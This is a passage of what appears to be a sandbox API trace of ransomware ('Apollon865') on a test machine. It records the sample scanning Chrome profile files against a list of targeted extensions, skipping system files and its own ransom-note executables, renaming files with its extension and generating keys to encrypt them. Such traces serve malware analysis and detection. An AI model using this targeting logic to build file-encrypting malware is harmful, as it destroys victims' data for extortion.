	[0046.541] lstrcmpiW (lpString1="ate", lpString2="bak") returned -1
	[0046.541] lstrlenW (lpString="ba_") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="ba_") returned -1
	[0046.541] lstrlenW (lpString="dbb") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="dbb") returned -1
	[0046.541] lstrlenW (lpString="vmdk") returned 4
	[0046.541] lstrcmpiW (lpString1="tate", lpString2="vmdk") returned -1
	[0046.541] lstrlenW (lpString="rar") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="rar") returned -1
	[0046.541] lstrlenW (lpString="zip") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="zip") returned -1
	[0046.541] lstrlenW (lpString="tgz") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="tgz") returned -1
	[0046.541] lstrlenW (lpString="vbox") returned 4
	[0046.541] lstrcmpiW (lpString1="tate", lpString2="vbox") returned -1
	[0046.541] lstrlenW (lpString="vdi") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="vdi") returned -1
	[0046.541] lstrlenW (lpString="vhd") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="vhd") returned -1
	[0046.541] lstrlenW (lpString="vhdx") returned 4
	[0046.541] lstrcmpiW (lpString1="tate", lpString2="vhdx") returned -1
	[0046.541] lstrlenW (lpString="avhd") returned 4
	[0046.541] lstrcmpiW (lpString1="tate", lpString2="avhd") returned 1
	[0046.541] lstrlenW (lpString="db") returned 2
	[0046.541] lstrcmpiW (lpString1="te", lpString2="db") returned 1
	[0046.541] lstrlenW (lpString="db2") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="db2") returned -1
	[0046.541] lstrlenW (lpString="db3") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="db3") returned -1
	[0046.541] lstrlenW (lpString="dbf") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="dbf") returned -1
	[0046.541] lstrlenW (lpString="mdf") returned 3
	[0046.541] lstrcmpiW (lpString1="ate", lpString2="mdf") returned -1
	[0046.542] lstrlenW (lpString="mdb") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="mdb") returned -1
	[0046.542] lstrlenW (lpString="sql") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="sql") returned -1
	[0046.542] lstrlenW (lpString="sqlite") returned 6
	[0046.542] lstrcmpiW (lpString1=" State", lpString2="sqlite") returned -1
	[0046.542] lstrlenW (lpString="sqlite3") returned 7
	[0046.542] lstrcmpiW (lpString1="l State", lpString2="sqlite3") returned -1
	[0046.542] lstrlenW (lpString="sqlitedb") returned 8
	[0046.542] lstrcmpiW (lpString1="al State", lpString2="sqlitedb") returned -1
	[0046.542] lstrlenW (lpString="xml") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="xml") returned -1
	[0046.542] lstrlenW (lpString="$er") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="$er") returned 1
	[0046.542] lstrlenW (lpString="4dd") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="4dd") returned 1
	[0046.542] lstrlenW (lpString="4dl") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="4dl") returned 1
	[0046.542] lstrlenW (lpString="^^^") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="^^^") returned 1
	[0046.542] lstrlenW (lpString="abs") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="abs") returned 1
	[0046.542] lstrlenW (lpString="abx") returned 3
	[0046.542] lstrcmpiW (lpString1="ate", lpString2="abx") returned 1
	[0046.542] lstrlenW (lpString="accdb") returned 5
	[0046.542] lstrcmpiW (lpString1="State", lpString2="accdb") returned 1
	[0046.542] lstrlenW (lpString="accdc") returned 5
	[0046.542] lstrcmpiW (lpString1="State", lpString2="accdc") returned 1
	[0046.542] lstrlenW (lpString="accde") returned 5
	[0046.542] lstrcmpiW (lpString1="State", lpString2="accde") returned 1
	[0046.542] lstrlenW (lpString="accdr") returned 5
	[0046.542] lstrcmpiW (lpString1="State", lpString2="accdr") returned 1
	[0046.542] lstrlenW (lpString="accdt") returned 5
	[0046.542] lstrcmpiW (lpString1="State", lpString2="accdt") returned 1
	[0046.542] lstrlenW (lpString="accdw") returned 5
	[0046.543] lstrcmpiW (lpString1="State", lpString2="accdw") returned 1
	[0046.543] lstrlenW (lpString="accft") returned 5
	[0046.543] lstrcmpiW (lpString1="State", lpString2="accft") returned 1
	[0046.543] lstrlenW (lpString="adb") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="adb") returned 1
	[0046.543] lstrlenW (lpString="adb") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="adb") returned 1
	[0046.543] lstrlenW (lpString="ade") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="ade") returned 1
	[0046.543] lstrlenW (lpString="adf") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="adf") returned 1
	[0046.543] lstrlenW (lpString="adn") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="adn") returned 1
	[0046.543] lstrlenW (lpString="adp") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="adp") returned 1
	[0046.543] lstrlenW (lpString="alf") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="alf") returned 1
	[0046.543] lstrlenW (lpString="ask") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="ask") returned 1
	[0046.543] lstrlenW (lpString="btr") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="btr") returned -1
	[0046.543] lstrlenW (lpString="cat") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="cat") returned -1
	[0046.543] lstrlenW (lpString="cdb") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="cdb") returned -1
	[0046.543] lstrlenW (lpString="ckp") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="ckp") returned -1
	[0046.543] lstrlenW (lpString="cma") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="cma") returned -1
	[0046.543] lstrlenW (lpString="cpd") returned 3
	[0046.543] lstrcmpiW (lpString1="ate", lpString2="cpd") returned -1
	[0046.543] lstrlenW (lpString="dacpac") returned 6
	[0046.543] lstrcmpiW (lpString1=" State", lpString2="dacpac") returned -1
	[0046.543] lstrlenW (lpString="dad") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dad") returned -1
	[0046.544] lstrlenW (lpString="dadiagrams") returned 10
	[0046.544] lstrcmpiW (lpString1="ocal State", lpString2="dadiagrams") returned 1
	[0046.544] lstrlenW (lpString="daschema") returned 8
	[0046.544] lstrcmpiW (lpString1="al State", lpString2="daschema") returned -1
	[0046.544] lstrlenW (lpString="db-journal") returned 10
	[0046.544] lstrcmpiW (lpString1="ocal State", lpString2="db-journal") returned 1
	[0046.544] lstrlenW (lpString="db-shm") returned 6
	[0046.544] lstrcmpiW (lpString1=" State", lpString2="db-shm") returned -1
	[0046.544] lstrlenW (lpString="db-wal") returned 6
	[0046.544] lstrcmpiW (lpString1=" State", lpString2="db-wal") returned -1
	[0046.544] lstrlenW (lpString="dbc") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dbc") returned -1
	[0046.544] lstrlenW (lpString="dbs") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dbs") returned -1
	[0046.544] lstrlenW (lpString="dbt") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dbt") returned -1
	[0046.544] lstrlenW (lpString="dbv") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dbv") returned -1
	[0046.544] lstrlenW (lpString="dbx") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dbx") returned -1
	[0046.544] lstrlenW (lpString="dcb") returned 3
	[0046.544] lstrcmpiW (lpString1="ate", lpString2="dcb") returned -1
	[0046.544] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.Apollon865") returned 90
	[0046.544] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.apollon865"), dwFlags=0x1) returned 1
	[0046.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0046.545] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=67626) returned 1
	[0046.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0046.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0046.546] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0046.546] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.546] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.547] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b30, lpName=0x0) returned 0x148
	[0046.548] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b30) returned 0x120000
	[0046.558] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0046.559] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.559] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.560] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.560] CloseHandle (hObject=0x148) returned 1
	[0046.560] CloseHandle (hObject=0x154) returned 1
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.560] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0046.561] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="Apollon865.txt.exe") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2=".") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="..") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="windows") returned -1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="bootmgr") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="temp") returned -1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="pagefile.sys") returned -1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="boot") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="ids.txt") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="ntuser.dat") returned 1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="perflogs") returned -1
	[0046.561] lstrcmpiW (lpString1="OriginTrials", lpString2="MSBuild") returned 1
	[0046.561] lstrlenW (lpString="OriginTrials") returned 12
	[0046.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 79
	[0046.561] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="OriginTrials" | out: lpString1="OriginTrials") returned="OriginTrials"
	[0046.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0046.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x5995b0
	[0046.562] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0046.562] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="Apollon865.txt.exe") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2=".") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="..") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="windows") returned -1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="bootmgr") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="temp") returned -1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="pagefile.sys") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="boot") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="ids.txt") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="ntuser.dat") returned 1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="perflogs") returned -1
	[0046.562] lstrcmpiW (lpString1="PepperFlash", lpString2="MSBuild") returned 1
	[0046.562] lstrlenW (lpString="PepperFlash") returned 11
	[0046.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 80
	[0046.562] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="PepperFlash" | out: lpString1="PepperFlash") returned="PepperFlash"
	[0046.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0046.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5aa3c8
	[0046.562] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0046.562] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="Apollon865.txt.exe") returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2=".") returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="..") returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="windows") returned -1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="bootmgr") returned 1
	[0046.562] lstrcmpiW (lpString1="pnacl", lpString2="temp") returned -1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="pagefile.sys") returned 1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="boot") returned 1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="ids.txt") returned 1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="ntuser.dat") returned 1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="perflogs") returned 1
	[0046.563] lstrcmpiW (lpString1="pnacl", lpString2="MSBuild") returned 1
	[0046.563] lstrlenW (lpString="pnacl") returned 5
	[0046.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 79
	[0046.563] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="pnacl" | out: lpString1="pnacl") returned="pnacl"
	[0046.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0046.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5aa470
	[0046.563] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0046.563] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="Apollon865.txt.exe") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2=".") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="..") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="windows") returned -1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="bootmgr") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="temp") returned -1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="pagefile.sys") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="boot") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="ids.txt") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="ntuser.dat") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="perflogs") returned 1
	[0046.563] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2="MSBuild") returned 1
	[0046.563] lstrlenW (lpString="Safe Browsing Channel IDs") returned 25
	[0046.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 73
	[0046.563] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Safe Browsing Channel IDs" | out: lpString1="Safe Browsing Channel IDs") returned="Safe Browsing Channel IDs"
	[0046.563] lstrlenW (lpString="Safe Browsing Channel IDs") returned 25
	[0046.563] lstrlenW (lpString="Apollon865") returned 10
	[0046.563] lstrcmpiW (lpString1="hannel IDs", lpString2="Apollon865") returned 1
	[0046.564] lstrlenW (lpString=".dll") returned 4
	[0046.564] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2=".dll") returned 1
	[0046.564] lstrlenW (lpString=".lnk") returned 4
	[0046.564] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2=".lnk") returned 1
	[0046.564] lstrlenW (lpString=".ini") returned 4
	[0046.564] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2=".ini") returned 1
	[0046.564] lstrlenW (lpString=".sys") returned 4
	[0046.564] lstrcmpiW (lpString1="Safe Browsing Channel IDs", lpString2=".sys") returned 1
	[0046.564] lstrlenW (lpString="Safe Browsing Channel IDs") returned 25
	[0046.564] lstrlenW (lpString="bak") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="bak") returned 1
	[0046.564] lstrlenW (lpString="ba_") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="ba_") returned 1
	[0046.564] lstrlenW (lpString="dbb") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="dbb") returned 1
	[0046.564] lstrlenW (lpString="vmdk") returned 4
	[0046.564] lstrcmpiW (lpString1=" IDs", lpString2="vmdk") returned -1
	[0046.564] lstrlenW (lpString="rar") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="rar") returned -1
	[0046.564] lstrlenW (lpString="zip") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="zip") returned -1
	[0046.564] lstrlenW (lpString="tgz") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="tgz") returned -1
	[0046.564] lstrlenW (lpString="vbox") returned 4
	[0046.564] lstrcmpiW (lpString1=" IDs", lpString2="vbox") returned -1
	[0046.564] lstrlenW (lpString="vdi") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="vdi") returned -1
	[0046.564] lstrlenW (lpString="vhd") returned 3
	[0046.564] lstrcmpiW (lpString1="IDs", lpString2="vhd") returned -1
	[0046.564] lstrlenW (lpString="vhdx") returned 4
	[0046.564] lstrcmpiW (lpString1=" IDs", lpString2="vhdx") returned -1
	[0046.564] lstrlenW (lpString="avhd") returned 4
	[0046.564] lstrcmpiW (lpString1=" IDs", lpString2="avhd") returned -1
	[0046.565] lstrlenW (lpString="db") returned 2
	[0046.565] lstrcmpiW (lpString1="Ds", lpString2="db") returned 1
	[0046.565] lstrlenW (lpString="db2") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="db2") returned 1
	[0046.565] lstrlenW (lpString="db3") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="db3") returned 1
	[0046.565] lstrlenW (lpString="dbf") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="dbf") returned 1
	[0046.565] lstrlenW (lpString="mdf") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="mdf") returned -1
	[0046.565] lstrlenW (lpString="mdb") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="mdb") returned -1
	[0046.565] lstrlenW (lpString="sql") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="sql") returned -1
	[0046.565] lstrlenW (lpString="sqlite") returned 6
	[0046.565] lstrcmpiW (lpString1="el IDs", lpString2="sqlite") returned -1
	[0046.565] lstrlenW (lpString="sqlite3") returned 7
	[0046.565] lstrcmpiW (lpString1="nel IDs", lpString2="sqlite3") returned -1
	[0046.565] lstrlenW (lpString="sqlitedb") returned 8
	[0046.565] lstrcmpiW (lpString1="nnel IDs", lpString2="sqlitedb") returned -1
	[0046.565] lstrlenW (lpString="xml") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="xml") returned -1
	[0046.565] lstrlenW (lpString="$er") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="$er") returned 1
	[0046.565] lstrlenW (lpString="4dd") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="4dd") returned 1
	[0046.565] lstrlenW (lpString="4dl") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="4dl") returned 1
	[0046.565] lstrlenW (lpString="^^^") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="^^^") returned 1
	[0046.565] lstrlenW (lpString="abs") returned 3
	[0046.565] lstrcmpiW (lpString1="IDs", lpString2="abs") returned 1
	[0046.565] lstrlenW (lpString="abx") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="abx") returned 1
	[0046.566] lstrlenW (lpString="accdb") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accdb") returned 1
	[0046.566] lstrlenW (lpString="accdc") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accdc") returned 1
	[0046.566] lstrlenW (lpString="accde") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accde") returned 1
	[0046.566] lstrlenW (lpString="accdr") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accdr") returned 1
	[0046.566] lstrlenW (lpString="accdt") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accdt") returned 1
	[0046.566] lstrlenW (lpString="accdw") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accdw") returned 1
	[0046.566] lstrlenW (lpString="accft") returned 5
	[0046.566] lstrcmpiW (lpString1="l IDs", lpString2="accft") returned 1
	[0046.566] lstrlenW (lpString="adb") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="adb") returned 1
	[0046.566] lstrlenW (lpString="adb") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="adb") returned 1
	[0046.566] lstrlenW (lpString="ade") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="ade") returned 1
	[0046.566] lstrlenW (lpString="adf") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="adf") returned 1
	[0046.566] lstrlenW (lpString="adn") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="adn") returned 1
	[0046.566] lstrlenW (lpString="adp") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="adp") returned 1
	[0046.566] lstrlenW (lpString="alf") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="alf") returned 1
	[0046.566] lstrlenW (lpString="ask") returned 3
	[0046.566] lstrcmpiW (lpString1="IDs", lpString2="ask") returned 1
	[0046.567] lstrlenW (lpString="btr") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="btr") returned 1
	[0046.567] lstrlenW (lpString="cat") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="cat") returned 1
